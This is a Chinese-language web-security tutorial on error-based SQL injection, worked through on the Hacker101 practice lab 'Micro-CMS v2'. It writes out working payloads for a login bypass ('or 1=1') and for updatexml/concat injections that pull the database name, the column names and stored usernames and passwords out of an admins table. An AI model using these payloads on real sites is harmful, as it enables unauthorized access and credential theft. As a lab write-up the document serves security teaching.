SQL注入之报错注入
本文是Web安全入门系列的第3篇文章
01
首先介绍一个线上靶场hacker101,网址:https://ctf.hacker101.com/。今天要用到的是名为Micro-CMS v2的例子
第一步定位注入点,找到登录页面,尝试输入用户名admin,密码admin,观察到返回信息为:Unknown user
用户名输入单引号,进入报错页面
信息量有点大,暴露了数据库类型(MariaDB,MariaDB跟MySQL在绝大多数方面是兼容的),开发语言(Python),用户表名(admins),以及查询登录密码的整个SQL查询语句
输入' or '1'='1绕过对用户名的判断,返回信息为:Invalid password
这个例子和上一篇UNION注入有一个显著区别:无法通过页面返回信息拿到SQL注入的结果
仅仅使用UNION注入的话,无论怎么输入,只会有三种返回结果:
返回Unknown user
返回Invalid password
进入报错页面
02
什么是报错注入?
顾名思义,就是利用报错信息来回显注入结果。
怎么注入?
利用concat函数执行注入。concat函数是MySQL的字符串连接函数
select concat('m','y','s','q','l')
如果把SQL语句放在concat呢?concat中的SQL语句会被执行,这是报错注入的精华所在~
select concat((select last_name from users limit 0,1))
怎么报错?
利用updatexml函数返回报错信息,关于该函数的介绍:
select updatexml(0,concat(0x7e,(select user()) ,0x7e) ,0)
因此,报错注入思路就是:利用concat函数执行SQL注入语句,再利用updatexml函数的报错信息返回执行结果
03
获取数据库名称
用户名输入:' or (select updatexml(0,concat(0x7e,(select database()) ,0x7e),0))#
最后执行的SQL语句变为:
SELECT password FROM admins WHERE username='' OR (SELECT updatexml(0,concat(0x7e,(SELECT database()) ,0x7e),0))#
进入报错页面,并在报错信息中显示当前数据名称level2:
获取admins表字段名
' or (SELECT updatexml(0,concat(0x7e,(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='admins') ,0x7e),0))#
表数据查询
根据id依次查询admins表中的用户名和密码:
' or (SELECT updatexml(0,concat(0x7e,(SELECT group_concat(username,0x7e,password) FROM admins WHERE id=1),0x7e),0))#
表中只有一条数据,返回登录页面用melida/peggie登录,登录成功~
concat和updatexml的组合只是报错注入的一种思路,对于其他类型的数据库,只要找到与这两个函数功能类似的函数就可以了!
最后,针对这个登录页面,其实有更好的SQL注入方法,那就是万能密码:
使用万能密码不需要知道用户名和密码也能登录~
本期内容就到这里了,下篇文章我们将介绍另一种注入类型:盲注,期待下期再见~
(部分图片源自网络,侵删)